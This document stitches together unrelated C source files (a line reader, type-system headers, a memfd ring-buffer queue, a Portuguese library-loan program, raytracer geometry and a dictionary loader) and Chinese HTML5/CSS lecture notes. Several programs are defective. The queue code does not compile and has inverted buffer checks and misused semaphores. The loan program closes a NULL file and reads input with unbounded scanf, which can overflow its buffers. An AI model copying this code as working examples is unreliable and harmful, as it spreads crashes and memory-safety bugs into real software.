t_scanner in; int status; t_list *curr; status = success; in.fd = fd; in.buf = NULL; if (fd < 0 || !line || BUFFER_SIZE <= 0) return (ft_close(&store, line, &in, fail)); if (!(curr = get_list(fd, &store))) return (ft_close(&store, line, &in, fail)); if (!(in.buf = (char *)malloc(sizeof(char) * (BUFFER_SIZE + 1)))) return (ft_close(&store, line, &in, fail)); while ((in.rdsz = read(fd, in.buf, BUFFER_SIZE)) > 0) { in.buf[in.rdsz] = 0x1a; if ((status = ft_strdiv(&store, &in, line)) == ln) return (ft_close(&store, line, &in, ln)); if (status == fail) return (ft_close(&store, line, &in, fail)); } if (in.rdsz < 0) status = fail; return (ft_close(&store, line, &in, status)); } int ft_strdiv(t_list **store, t_scanner *in, char **line) { char *line_break; t_list *lst; lst = get_list(in->fd, store); if (in->rdsz == 0) line_break = ft_strln(lst->str); else if (ft_strjoinln(&(lst->str), in->buf, &line_break) == fail) return (ft_close(store, line, in, fail)); if (!line_break && in->rdsz > 0) return (success); if (!(*line = (char *)malloc(sizeof(char) * (ft_strlen(lst->str, '\n') + 1)))) return (ft_close(store, line, in, fail)); ft_memccpy(*line, lst->str, '\n', ft_strlen(lst->str, '\n')); (*line)[ft_strlen(lst->str, '\n')] = '\0'; if (line_break) { ft_memmove(lst->str, &line_break[1], ft_strlen(&line_break[1], 0x1a) + 1); if (in->rdsz > 0) return (ln); return (success); } return (ft_close(store, line, in, end)); } int ft_close(t_list **store, char **line, t_scanner *in, int status) { free(in->buf); (*in).buf = NULL; if (status == ln) return (success); if (status == fail || status == end) { remove_list(in->fd, store, NULL); return (status); } (*in).rdsz = 0; return (ft_strdiv(store, in, line)); }
C
#ifndef _CFL_TYPE_TYPES_H_ #define _CFL_TYPE_TYPES_H_ typedef enum { CFL_TYPE_VARIABLE, CFL_TYPE_BOOL, CFL_TYPE_INTEGER, CFL_TYPE_CHAR, CFL_TYPE_LIST, CFL_TYPE_TUPLE, CFL_TYPE_ARROW } cfl_type_type; typedef struct cfl_type_t { cfl_type_type type; unsigned int id; void* input; void* output; } cfl_type; typedef struct cfl_type_list_element_t { cfl_type* type; struct cfl_type_list_element_t* next; } cfl_type_list_element; typedef struct cfl_type_hash_element_t { cfl_type* type; cfl_type_list_element variable_head; cfl_type_list_element typed_head; struct cfl_type_hash_element_t* next; } cfl_type_hash_element; typedef struct { unsigned int equation_hash_table_length; cfl_type_hash_element* hash_table; } cfl_type_equations; typedef struct cfl_type_hypothesis_chain_t { char* name; unsigned int id; struct cfl_type_hypothesis_chain_t* next; } cfl_type_hypothesis_chain; typedef struct cfl_hypothesis_load_list_t { cfl_type* left; cfl_type* right; struct cfl_hypothesis_load_list_t* next; } cfl_hypothesis_load_list; #endif
C
#include "stdio.h" #define OM_LOG(str, ...) printf(str, ##__VA_ARGS__) int main() { int a = 10; int b = 20; printf("%s, a=%d, b=%d\n", __FUNCTION__, a, b); OM_LOG("%s, a=%d, b=%d\n",__FUNCTION__, a, b); OM_LOG("just str\n"); return 0; }
C
/** * Inspriation: https://github.com/tmick0/toy-queue * Blog post: https://lo.calho.st/posts/black-magic-buffer/ */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdarg.h> #include <fcntl.h> #include <errno.h> #include <linux/memfd.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/types.h> #define SUCCESS (0) #define BUFFER_SIZE (getpagesize()) #define NUM_OF_THREADS (5) #define MESSAGES_PER_THREAD (getpagesize() * 2) sem_t _queue_empty, _queue_full; mutex_t _mutex_buff; typedef struct { void *bufferPtr; size_t bufferSize; uint32_t head; uint32_t tail; uint32_t fd; } queue_t; bool init(queue_t *queue, size_t size) { if(SUCCESS != getpagesize() % size) { return false; } // physical region for queue if (SUCCESS != (queue->fd = memfd_create("queue_region", 0))) { return false; } // set queue size if(SUCCESS != ftruncate(queue->fd, size)) { return false; } // get virtual space if(MAP_FAILED == (queue->bufferPtr = mmap(NULL, 2*size, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0))) { return false; } // map virtual space 1 to queue if(MAP_FAILED == mmap(queue->bufferPtr, size, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, queue->fd, 0)) { return false; } // map virtual space 2 to queue if(MAP_FAILED == mmap((queue->bufferPtr + size), size, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, queue->fd, 0)) { return false; } queue->head = 0; queue->tail = 0; queue->size = size; } static inline int getValidBytes(queue_t *queue, size_t size) { return (queue->head - queue->tail); } static inline int getAvailableBytes(queue_t *queue, size_t size) { return (queue->size - getValidBytes(queue, size)); } void enqueue(queue_t *queue, uint8_t *buffer, size_t size) { // error condition if(getAvailableBytes(queue, size) < queue->size) { return; } // wait for semaphore sem_wait(&_queue_empty); // lock mutex pthread_mutex_lock(&_mutex_buff); memcpy(&queue->bufferPtr[queue->head], buffer, size); printf("queue current data: %ld\n", buffer); queue->head += size; // unlock mutex pthread_mutex_unlock(&_mutex_buff); // signal semaphore sem_post(&_queue_full); } bool dequeue(queue_t *queue, uint8_t *buffer, size_t size) { // wait for semaphore sem_wait(_queue_full); // error condition if(getValidBytes(queue, size) < queue->size) { // release semaphore } // lock mutex pthread_mutex_lock(&_mutex_buff); memcpy(buffer, &queue->bufferPtr[queue->tail], size); printf("dequeue current data: %ld\n", buffer); queue->tail += size; if(queue->size >= queue->tail) { queue->head -= queue->size; queue->tail -= queue->size; } // unlock mutex pthread_mutex_unlock(&_mutex_buff); // signal semaphore sem_post(_queue_empty); return true; } void *producer(void *arg) { queue_t *q = (queue_t *)arg; size_t i; for(i = 0; i< NUM_OF_THREADS * MESSAGES_PER_THREAD; i++) { enqueue(q, (uint8_t *)&i, sizeof(size_t)); } return (void *)i; } void *consumer(void *arg) { queue_t *q = (queue_t *) arg; size_t count = 0; size_t i; for(i = 0; i < MESSAGES_PER_THREAD; i++){ size_t x; dequeue(q, (uint8_t *) &x, sizeof(size_t)); count++; } return (void *) count; } int main(void) { queue_t q; queue_init(&q, BUFFER_SIZE); sem_init(&_queue_empty, 0, 1); sem_init(&_queue_full, 0, 0); pthread_mutex_init(&_mutex_buff, NULL); pthread_t producer; pthread_t consumer[NUM_OF_THREADS]; pthread_create(&producer, 0, &producer, (void *)&q); sem_destroy(&_queue_empty); sem_destroy(&_queue_full); pthread_mutex_destroy(&_mutex_buff); return 0; }
C
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<time.h> #include"functions.h" void SalvaRegistro(Registro b){ FILE* arq = fopen("registro.dat", "w"); fwrite(&b, sizeof(Registro), 1, arq); fclose(arq); } void CarregaRegistro(Registro *b){ FILE* arq = fopen("registro.dat", "r"); if (arq == NULL) { fclose(arq); return; } else { printf("\nEXISTE UM REGISTRO SALVO, DESEJA CARREGA-LO? [Y/N]: "); char c; scanf("%c", &c); if (c == 'N') { fclose(arq); return; } } fread(b, sizeof(Registro), 1, arq); fclose(arq); } Data SomaData(Data data, int n){ Data ret; ret.dia = data.dia + n; ret.mes = data.mes; ret.ano = data.ano; int mes30[4] = {4, 6, 9, 11}; int mes31[7] = {1, 3, 5, 7, 8, 10, 12}; for(int i = 0; i < 4; i++){ if(mes30[i] == ret.mes && ret.dia > 30){ ret.dia = ret.dia % 30; ret.mes++; if (ret.mes > 12) { ret.mes = ret.mes % 12; ret.ano++; } return ret; } } for(int i = 0; i < 7; i++){ if(mes31[i] == ret.mes && ret.dia > 31){ ret.dia = ret.dia % 31; ret.mes++; if (ret.mes > 12) { ret.mes = ret.mes % 12; ret.ano++; } return ret; } } if (ret.mes == 2) { if (ret.ano % 4 == 0 && ret.dia > 29) { ret.dia = ret.dia % 29; ret.mes++; if (ret.mes > 12) { ret.mes = ret.mes % 12; ret.ano++; } } else if (ret.dia > 28) { ret.dia = ret.dia % 29; ret.mes++; if (ret.mes > 12) { ret.mes = ret.mes % 12; ret.ano++; } } return ret; } } void ImprimeLinha(char c, int n){ for(int i = 0; i < n; i++) printf("%c", c); } void ImprimeLivro(Livro livro){ for(int i = 0; i < 30; i++) { if(livro.nome[i] == '\0'){ ImprimeLinha(' ', 30 - i); break; } else { printf("%c", livro.nome[i]); } } for(int i = 0; i < 12; i++) { if(livro.editora[i] == '\0'){ ImprimeLinha(' ', 12 - i); break; } else { printf("%c", livro.editora[i]); } } for(int i = 0; i < 8; i++) { if(livro.ano[i] == '\0'){ ImprimeLinha(' ', 8 - i); break; } else { printf("%c", livro.ano[i]); } } printf("\n"); } void ImprimeAluno(Aluno aluno){ printf("%s", aluno.nome); ImprimeLinha(' ', 31 - strlen(aluno.nome)); printf("%s", aluno.curso); printf("\n"); } void ImprimeData(Data data){ printf("%d/%d/%d", data.dia, data.mes, data.ano); } void ImprimeEmprestimo(Emprestimo emprestimo){ printf("\n"); ImprimeLinha('*', 50); printf("\n"); ImprimeLinha(' ', 13); printf("COMPROVANTE DE EMPRESTIMO"); ImprimeLinha(' ', 12); printf("\n"); ImprimeLinha('*', 50); printf("\n"); printf("ALUNO: "); ImprimeAluno(emprestimo.aluno); printf("DATA: "); ImprimeData(emprestimo.dataEmprestimo); printf("\n"); ImprimeLinha('*', 50); printf("\n"); printf("LIVROS:\n"); for(int i = 0; i < emprestimo.qtdLivros; i++) ImprimeLivro(emprestimo.livros[i]); ImprimeLinha('*', 50); printf("\n"); printf("TOTAL: %d LIVROS\n", emprestimo.qtdLivros); printf("DEVOLUCAO: "); ImprimeData(emprestimo.dataDevolucao); printf("\n"); ImprimeLinha('*', 50); printf("\n\n"); } void ImprimeAll(Registro b){ printf("\n"); ImprimeLinha('*', 50); printf("\n"); printf("qtdLivros: %d\n", b.qtdLivros); printf("qtdAlunos: %d\n", b.qtdAlunos); printf("qtdEmperstimos: %d\n", b.qtdEmprestimos); ImprimeLinha('*', 50); printf("\n"); for (int i = 0; i < b.qtdLivros; i++) ImprimeLivro(b.livros[i]); printf("\n"); for (int i = 0; i < b.qtdAlunos; i++) ImprimeAluno(b.alunos[i]); printf("\n"); for (int i = 0; i < b.qtdEmprestimos; i++) ImprimeEmprestimo(b.emprestimos[i]); } Data CalcularDevolucao(Data data, Aluno aluno){ int prazo = strcmp(aluno.curso, "GRADUACAO") == 0 ? 7 : 15; Data dataDevolucao = SomaData(data, prazo); return dataDevolucao; } void NovoLivro(Registro* b){ Livro novoLivro; printf("\n"); ImprimeLinha('*', 19); printf(" Novo Livro "); ImprimeLinha('*', 19); printf("\n"); printf("Nome : "); scanf("%s", novoLivro.nome); printf("Editora : "); scanf("%s", novoLivro.editora); printf("Ano : "); scanf("%s", novoLivro.ano); *(b->livros + b->qtdLivros) = novoLivro; b->qtdLivros++; } void NovoAluno(Registro* b){ Aluno novoAluno; printf("\n"); ImprimeLinha('*', 19); printf(" Novo Aluno "); ImprimeLinha('*', 19); printf("\n"); printf("Nome : "); scanf("%s", novoAluno.nome); printf("Curso : "); scanf("%s", novoAluno.curso); *(b->alunos + b->qtdAlunos) = novoAluno; b->qtdAlunos++; } void NovoEmprestimo(Registro* b){ Emprestimo novoEmprestimo; printf("\n"); printf("INFORME O DIA DO EMPRESTIMO: "); scanf("%d", &novoEmprestimo.dataEmprestimo.dia); printf("INFORME O MES DO EMPRESTIMO: "); scanf("%d", &novoEmprestimo.dataEmprestimo.mes); printf("INFORME O ANO DO EMPRESTIMO: "); scanf("%d", &novoEmprestimo.dataEmprestimo.ano); int alunoEncontrado; do { alunoEncontrado = 0; char nomeAluno[30]; printf("INFORME O ALUNO [0: cancelar]: "); scanf("%s", nomeAluno); if(strcmp(nomeAluno, "0") == 0) return; for(int i = 0; i < b->qtdAlunos; i++){ if (strcmp(nomeAluno, b->alunos[i].nome) == 0){ novoEmprestimo.aluno = b->alunos[i]; alunoEncontrado = 1; } } if (!alunoEncontrado) printf("ALUNO NAO ENCONTRADO!\n"); } while(!alunoEncontrado); novoEmprestimo.dataDevolucao = CalcularDevolucao(novoEmprestimo.dataEmprestimo, novoEmprestimo.aluno); novoEmprestimo.qtdLivros = 0; int livroEncontrado; int finalizar; do { livroEncontrado = 0; finalizar = 0; char nomeLivro[30]; printf("INFORME O LIVRO [0: cancelar / 1: finalizar]: "); scanf("%s", nomeLivro); if (strcmp(nomeLivro, "0\0") == 0) return; if (strcmp(nomeLivro, "1\0") == 0) finalizar = 1; for (int i = 0; i < b->qtdLivros; i++) if (strcmp(nomeLivro, b->livros[i].nome) == 0){ *(novoEmprestimo.livros + novoEmprestimo.qtdLivros) = b->livros[i]; novoEmprestimo.qtdLivros++; livroEncontrado = 1; } if (!livroEncontrado) printf("LIVRO NAO ENCONTRADO!\n"); } while(!finalizar); *(b->emprestimos + b->qtdEmprestimos) = novoEmprestimo; b->qtdEmprestimos++; printf("\nEMPRESTIMO REALIZADO\n"); } Registro NovoRegistro(){ Registro registro; registro.qtdAlunos = 0; registro.qtdLivros = 0; registro.qtdEmprestimos = 0; return registro; } int MostraMenu(){ printf("\n"); ImprimeLinha('*', 50); printf("\n"); ImprimeLinha(' ', 17); printf(" MENU DE OPCOES "); ImprimeLinha(' ', 17); printf("\n"); ImprimeLinha('*', 50); printf("\n"); ImprimeLinha('*', 50); printf("\n"); printf("0 - SALVAR REGISTRO E SAIR\n"); printf("1 - CADASTRAR NOVO LIVRO\n"); printf("2 - CADASTRAR NOVO ALUNO\n"); printf("3 - REALIZAR EMPRESTIMO\n"); printf("4 - VISUALIZAR TODOS OS LIVROS\n"); printf("5 - VISUALIZAR TODOS OS ALUNOS\n"); printf("6 - VISUALIZAR TODOS OS EMPRESTIMOS\n"); ImprimeLinha('*', 50); printf("\nINFORME SUA OPCAO: "); int op; scanf("%d", &op); return op; } void Menu(Registro* b){ CarregaRegistro(b); ImprimeLinha(' ', 13); printf("!! USE _ PARA ESPACOS !!"); ImprimeLinha(' ', 13); printf("\n"); while(1) { switch (MostraMenu()) { case 0: SalvaRegistro(*b); exit(1); break; case 1: NovoLivro(b); break; case 2: NovoAluno(b); break; case 3: NovoEmprestimo(b); break; case 4: printf("\n"); for (int i = 0; i < b->qtdLivros; i++) ImprimeLivro(b->livros[i]); break; case 5: printf("\n"); for (int i = 0; i < b->qtdAlunos; i++) ImprimeAluno(b->alunos[i]); break; case 6: printf("\n"); for (int i = 0; i < b->qtdEmprestimos; i++) ImprimeEmprestimo(b->emprestimos[i]); break; case 23: ImprimeAll(*b); break; default: printf("\nOPCAO INVALIDA!\n"); break; } } }
C
// // Objects.c // SDL_ACCEL11 // // Created by Ben on 8/18/20. // Copyright © 2020 Ben. All rights reserved. // #include "Objects.h" float calcPlaneT(Ray ray, struct Object* plane) { float d = simd_dot(plane->n, ray.direction); if (d > 0.0f) { return -1.0f; } simd_float3 P = plane->c - ray.origin; float t = simd_dot(P, plane->n)/d; return t; } Hit calcIntersectionPlane2(Ray ray, struct Object* plane, float t) { Hit hit; hit.position = ray.origin + (ray.direction * t); hit.normal = plane->n; return hit; } float calcSphereT(Ray ray, struct Object* sphere) { simd_float3 SP; float t, b, d; SP = sphere->c - ray.origin; b = simd_dot(SP, ray.direction); d = b * b - simd_dot(SP, SP) + squareff(sphere->n.x); if (d < 0.0f) { return -1.0f; } d = sqrtf(d); t = (t = b - d) > epsilon ? t : ((t = b + d) > epsilon ? t : -1.0f); return t; } Hit calcIntersectionSphere2(Ray ray, struct Object* sphere, float t) { Hit hit; hit.position = ray.origin + (ray.direction * t); hit.normal = (hit.position - sphere->c)/sphere->n.x; return hit; } Object makeObject(simd_float3 center, simd_float3 p2, simd_float3 p3, Hit (*inter)(Ray ray, struct Object* obj, float t), float (*gt)(Ray ray, struct Object* obj), int material) { Object object; object.c = center; object.n = p2; object.z = p3; object.interesect = inter; object.gett = gt; object.mat = material; return object; } Object makeSphere(simd_float3 center, float radius, int material) { Object object; simd_float3 oth = {radius, 0, 0}; Hit (*inter)(Ray ray, struct Object* obj, float t) = calcIntersectionSphere2; float (*gt)(Ray ray, struct Object* obj) = calcSphereT; object = makeObject(center, oth, oth, inter, gt, material); return object; } Object makePlane(simd_float3 center, simd_float3 radius, int material) { Object object; Hit (*inter)(Ray ray, struct Object* obj, float t) = calcIntersectionPlane2; float (*gt)(Ray ray, struct Object* obj) = calcPlaneT; simd_float3 oth = {0, 0, 0}; object = makeObject(center, radius, oth, inter, gt, material); return object; } float calcTriangleT(Ray ray, struct Object* triangle) { simd_float3 plane1n = simd_normalize(simd_cross((triangle->n - triangle->c), (triangle->z - triangle->c))); float d = simd_dot(plane1n, ray.direction); if (d > 0.0f) { plane1n *= -1; d *= -1; } float t = simd_dot(triangle->c - ray.origin, plane1n)/d; simd_float3 u = triangle->n - triangle->c; simd_float3 v = triangle->z - triangle->c; simd_float3 w = (ray.origin + (ray.direction * t)) - triangle->c; float uDv = simd_dot(u, v); float wDv = simd_dot(w, v); float vDv = simd_dot(v, v); float wDu = simd_dot(w, u); float uDu = simd_dot(u, u); float s1 = (uDv*wDv - vDv*wDu)/(uDv*uDv - uDu*vDv); float t1 = (uDv*wDu - uDu*wDv)/(uDv*uDv - uDu*vDv); if (s1 >= 0.0f && t1 >= 0.0f && s1 + t1 < 1.0f) { return t; } return -1.0; } Hit calcIntersectionTriangle(Ray ray, struct Object* triangle, float t) { simd_float3 plane1n = simd_normalize(simd_cross((triangle->n - triangle->c), (triangle->z - triangle->c))); Hit hit; float d = simd_dot(plane1n, ray.direction); if (d > 0.0f) { plane1n *= -1; } hit.position = ray.origin + (ray.direction * t); hit.normal = plane1n; return hit; } Object makeTriangle(simd_float3 a, simd_float3 b, simd_float3 c, int material) { Object object; Hit (*inter)(Ray ray, struct Object* obj, float t) = calcIntersectionTriangle; float (*gt)(Ray ray, struct Object* obj) = calcTriangleT; object = makeObject(a, b, c, inter, gt, material); return object; }
C
/* * Copyright (c) 2018 Valentin Cassano. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, version 3. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /*Filippa Nahuel Marchessano Michael Martin Gaston*/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <llist.h> #include <dictionary.h> typedef struct linkable_s* linkable_t; struct word_s{ char * expression; char * definition; }; struct dictionary_s{ char * name; llist_t content; int entries; }; //separates the word from its definition word_t line2word( char * line ){ char * posComa = strchr(line, ','); char * punt = line; word_t word = (word_t) malloc (sizeof(struct word_s)); posComa[0] = '\0'; word->definition = line; word -> expression = posComa+1; return word; } //separate the content of the buffer, line by line and pass it as a parameter to the line2word llist_t parse( char * buffer ){ char * next; char * curr; char * line; word_t word; char * auxLine; llist_t content = make(); curr = buffer; next = buffer; int size; while(curr[0] != '\0'){ next = strchr(curr, '\n'); size = next-curr; line = (char*) malloc((size+1)); auxLine = line; while(curr != next){ auxLine[0] = curr[0]; auxLine++; curr++; } curr++; next++; line[size] = '\0'; word = line2word(line); add(content,word); } return content; } //loads the contents of the file into a variable to use as a parameter in the parse dictionary_t load( char * file_name ){ long size ; char * buffer; dictionary_t dictionary = (dictionary_t) malloc(sizeof(struct dictionary_s)); FILE *f = fopen (file_name, "r"); if (f){ fseek (f, 0, SEEK_END); size = ftell(f); fseek (f, 0, SEEK_SET); buffer =(char*)malloc (size + 1); if (buffer){ fread (buffer, sizeof(char), size+1, f); } buffer[size] = '\0'; fclose (f); dictionary->name = file_name; dictionary->content = parse(buffer); dictionary->entries = length(dictionary->content); } return dictionary; } word_t random_word( dictionary_t dictionary ){ srand(time(NULL)); return at( dictionary->content, rand() % ( dictionary->entries) ); } void print_word( word_t word ){ printf( " %s:", word->definition); printf( "\n %s ", word->expression ); }
C
01 介绍课程内容 HTML5课时:4.5天 主要内容:"HTML语法 + CSS结构 + JS + jQuery 02 HTMl5简单介绍 ① W3C组织花费了8年的时间于2014年制定了HTML5的标准 ② 移动先行,即在制定标准的时候优先考虑移动端的实现 ③ 使用和学习的必要性 1)"跨平台" 能够运行在所有拥有浏览器的平台 2)运行平台是:"浏览器",运行的成本低 3)当前HTML5尚不能完全取代原生应用 ④ 如何使用HTML5 =>自己实现所有的部分|使用现成的框架(Bootstrap等) 1)站点入口=>index.html文件 ⑤ 手机app的开发模式 1)原生 =>性能好,与系统无缝结合 =>成本高(4) 2)HTML5 "可以做的和原生一致,但是实现要求较高“ =>快速开发,成本低 =>很难实现和原生APP一样的效果 3)HTML5+原生 4) React Native =>使用HTML5的技术,调用原生的API ⑥ 学习HTML5的必要性 1)大前端的开发趋势 2)增加技术竞争力 ⑦ 岗位的划分(前端和移动端的竞争) 平面设计师(作图+切图+HTML+CSS) 前端工程师(HTML+CSS+JS+模板技术) 嵌入=>全部React 后台工程师(服务器开发+数据库开发) 数据库 移动工程师(iOS/安卓)OC | Swift | java ⑧ 开发工具 1)安卓 eclipse | MyEclipse |android studio 2) iOS XCode 3)HTML5 eclipse | MyEclipse |DreamWaver(可视化编程) DreamWaver+flash+Fireworks == 网页三剑客(adobe) 使用HTML5来取代flash 推荐编辑器:webStore(安装) ⑨ web开发时代 web1.0 主流技术:HTML+CSS web2.0 主流技术:Ajax|js|Dom|异步数据访问 web3.0 主流技术:HTML5+CSS HTML5:"Canvas实现游戏的组件,灯光秀等|HTML5音频和视频|Web存储(之前加载慢=>本地化=>SQlLite数据库)|Geolocation社交和定位|Workers多线程处理 " CSS3:设计动画 2D变形 新特性 03 HTML5简单使用 ① 网页的组成 HTML(骨头) + CSS(皮肤) +JS(动作) ② HTML 1)概念:超文本标记语言 其实就是文本,由浏览器负责解析为具体的网页内容 2)组成:由N个标签(节点+元素+标记)组成 3)语法:HTML的语法非常松散,目前最新的版本是5.0,即HTML5 4)结构:根标签|头部标签|内容标签|设置标题|设置编码|div标签 5)注释:command+/ "代码:HTML5中输出helloWorld" 步骤:打开webStore->空项目选择路径->新建项目(New-Directory)->设置名称(01-输出helloworld)->新建HTML文件 其他: 修改webStore的偏好设置,调整字体的大小 运行:webStore默认自动识别已经安装的浏览器,点击即可 标准结构: /* <html> 根标签 <head> 头部标签 <title>设置标题(中文需要设置编码)</title> <meta charset="UTF-8"> 设置页面的编码UTF-8|GB2312 </head> <body> <div> 需要展示的内容 </div> </body>内容标签 </html> */ 04 HTML常见标签 ① 超链接标签 给文字或图片添加超链接 <a href="url" target="">点击跳转</a> 选择以什么样的方式打开超链接 target(当前窗口|新窗口打开|回到顶部|在父窗口打开=>只适用于PC端) ② 换行标签 换一行 <br> //跟在标签的后面 ③ 容器标签 div|span:div相当于是OC里面的View div是一个容器,所见即所得。可以嵌套,在div中可以包括其他标签。 注意:只要是双标签就可以把它当成是一个容器,而单标签不行。 ④ 列表 ul 无序列表 ul>li*5 Tab键 ol 有序列表 通过type来设置排序方式(1-A-a) ⑤ 快捷键 !Tab ⑥ 标题标签 h家族 1)<h1>我是H1标签</h1> 2)h1*5 Tab键 快捷键 3)h1的标签最大 4)"hr换行标签 ⑦ 表单标签 1)<input>默认是输入框 自带的属性可以在文school查询 2)占位文字 - placeholder 3)值 - value 4)类型 -type 默认是输入框|日期|色板|文件|按钮|复选框|单选框 ⑧ 段落标签 1)<p>&nbsp;&nbsp;&nbsp;&nbsp;段落内容</p> 空两格 ⑨ 图像标签 1)<img src="图片资源"> 2)相对路径(资源在当前项目中./ ../)和绝对路径(资源不在本地) 3) width|height 设置图片的宽度和高度 a.如果不设置则使用的是默认的宽度和高度 width="200" 如果只修改宽度那么高度会等比例缩放 b.默认单位是像素,也可以使用百分比如width="50%"表示图片的大小为父标签大小的50% 4)alt="占位文字" "代码:HTML中常用标签" 步骤:新建文件夹(HTML中常用标签)-新建HTML文件(index.html) 内容: ① 解释默认生成的信息:文档声明|文档语言 快捷生成(!Tab) ② h标签 = "标题标签(h家族 1~6)" 快捷键 (h1*5 Tab) + "分割线条标签 hr" ③ 表单标签 = '<input>' "文本输入框(type="text")" + "设置属性(占位文字placeholder|默认值value)" "日期选择器(type="date")" "取色板(type="color")" "文件选择框(type="file")" "按钮(type="button" value="我是按钮")" "复选框(type="checkbox")" + "单选框(type="radio")" ④ 段落标签 "<p>段落的内容</p>" '段落缩进可以使用转义字符或者是css控制 ⑤ 图像标签 "<img src="图片的相对路径|绝对路径(新建imgs文件夹)">" '设置图片的宽度|高度(px|%)|占位文字alt ⑥ 超链接标签 "<href="网址" target="网页的打开方式">" ⑦ 换行标签 "<br> ⑧ 容器|表格|列表(有|无序) 05 HTML5新增的标签 说明:在之前版本的基础上新增加27个标签删除了16个标签,主要包括:结构性标签|级块性标签|行内语义标签|交互性标签 ① 结构性标签 article标签:文章主题内容 header标签:标记头部区域内容 footer标签:标记底部标签 section标签:标记章节 nav标签 小案例:完成新闻文章的页面展示 ② 块级性标签 使用的并不是特别多,主要完成页面区域的划分。当前浏览器还不支持 ③ 行内语义性标签 meter:特定范围内的数值 可以做工资(硬盘使用情况等等) time:时间值(使用比较少,不支持) progress:进度条,使用较多 <progress value="20" max=100> video:视频元素,支持缓冲预载和多种格式的视频 <video src="" contols="controls"> audio: 音频元素,支持静音等 <audio src="" contols="controls"> ④ 交互性标签(暂时使用不到) /*===================下午内容===================*/ 06 上午内容重点 1-)HTML的常用标签 h1~h6 + p + br + div + 列表 + 容器 + img(像素|伸缩比) + input(文本框|日期|文件) + a 2-)HTML5的常用标签 主要是结构性标签和行内语义标签 07 CSS的样式 概念:层叠样式表,是网页的皮肤 格式:键值对应形式,即属性名:属性值 => 如color:red;设置颜色为红色 属性:CSS中的属性有两种情形,一种是单值属性一种是复合属性(边框的像素|颜色|圆角) 缩进:Tab|Shift+Tab 用法: 1-)行内样式(内联样式) 控制单个标签的样式,直接在标签的style属性中书写 如<div style="color:red;"></div> 2-)页内样式 在body中只放内容和结构,把样式设置放在head头部标签中处理。 3-) 外部样式 在单独的CSS文件中写书,然后在网页中用link标签进行引用 <link rel="stylesheet" href="要链接的资源"> rel表示的是关系 为什么:网站 == N个网页 + 服务器 + 数据库 + 插件 + 各种类库 网站中很多页面使用的样式是一样的,所以出现了外部样式,类似于OC开发中的重用机制 /* <head> <style> body{ 具体的设置 } div{ background-color:red; } </style> </head> */ "代码:设置CSS中的常用样式 准备:新建文件夹->新建HTML文件 CSS-行内样式内容: "每个标签都有一个style属性" '设置body的背景颜色为红色' 注释 '添加div内容为文字,设置div的背景颜色为紫色|文字大小为30px' '添加p段落,设置p标签的边框的颜色+圆角+线条+文字大小等' CSS-页内样式内容: "在整个页面中有个style标签" '设置body的背景颜色' '设置页面中所有div的样式如背景颜色,文字大小等' '设置页面中所有段落的样式如文字大小,边框样式等' CSS-外部样式内容: 说明:新建一个HTML文件,新建一个CSS文件夹,新建一个CSS样式文件(index.css) '引入外部的css文件' => <link ref="stylesheet" href="css/index.css"> 08 CSS的三种常见选择器 说明:HTML是静态语言是弱类型的语言,是解释运行的而不是编译运行的 问题:如果既有外部的CSS样式表又有内部的页内样式,以谁为准?先处理最先设置的样式,再处理后面的样式(如果有相同的键则直接覆盖,如果没有相同的键则增加) 原则:① 就近原则 ② 叠加原则 重点: 1-)属性 通过属性的复杂叠加可以做出漂亮的样式 2-)选择器 通过选择器找到对应的标签来设置样式 选择器: 1-)标签选择器 控制当前页面中所有同类型的标签样式 /* div{具体设置} body{具体设置} */ 2-)类选择器 在标签中添加class="类名" /* .类名{具体设置} */ 3-)id选择器 在标签中添加id="id的名称" 注意:id是唯一的不能相同,否则报错(红色波浪线) /* #id的名称{具体的设置} */ 4-)并列选择器 逻辑或 /* 选择器1,选择器2{具体设置} #main,.test1{ 统一设置id为main的标签和类名为test1的标签样式 } */ 5-)复合选择器 逻辑与(必须两个条件都满足) /* 选择器1选择器2{具体设置} div.test1{ 设置div标签中 类名为test1的标签样式} */ 6-)后代选择器 包括所有的子孙 /* 标签选择器1(空格)标签选择器2(空格){ 具体的设置 } div p { 为div标签中的p标签设置样式 } */ 7-)直接后代选择器 只包括子标签 /* div >a { 为div标签的子标签设置样式 } */ 8-)相邻兄弟选择器 /* div + p { 具体的样式设置 有上下两个相邻的标签} */ 9-)属性选择器 ① 在标签的内部可以任意的添加属性 如<div name="wendingding">标签的内容</div> div[name] { 设置样式 } ② 可以使用多种查找方式 <div name="wen" age="26">标签的内容</div> div[name][age] { 设置样式 } 伪类:当满足某些条件的时候才会触发 :focus 焦点(拥有键盘输入焦点=>input) input:focus{具体的设置} :hover 悬浮 伪元素:在特殊的场景中使用 :first_letter 向文本的第一个字符添加样式 :first_Ilne 向文本的首行添加特殊的样式 选择器的优先级: ① 通配符 符号 * 代表所有的标签 作用 设置一些全局的属性如字体大小 字体颜色等 缺陷 1)性能不是很好[递归] 2)优先级别最低 3)不利于SEO优化,所以在开发中几乎不用它 09 标签的类型 分类:块级标签|行内标签|行内-块级标签 "块级标签": ① 独占一行 ② 能够随时设置宽度和高度,ex div|p|h1等 "行内标签": ① 多个行内标签可以显示在一行 ② 宽度和高度取决于内容的尺寸,ex span|a|label "行内-块级标签" ① 多个行内标签可以在同一行显示 ② 宽度和高度可以随意设置 ex button | input + 改变标签的类型 "display属性" ① 隐藏标签(鼠标移动上面的时候就隐藏) "none ② 让标签变成块级标签 行内标签 - >块级标签 "block ③ 让标签变成行内标签 块级标签 - >行内标签 "inline ④ 让标签变成行内-块级标签 "inline-block" /* 块级标签 不可以多个标签显示一行 + 可以设置宽度和高度 行内标签 可以多个标签显示一行 + 不可以设置宽度和高度 行内-块级标签 可以多个标签显示一行 + 可以设置宽度和高度 */ "代码演示": 说明:新建文件夹(标签的类型)- 创建新的HTML文件(index) '创建块级标签 div,设置div的背景颜色样式,演示其独占一行' '使用通配符* 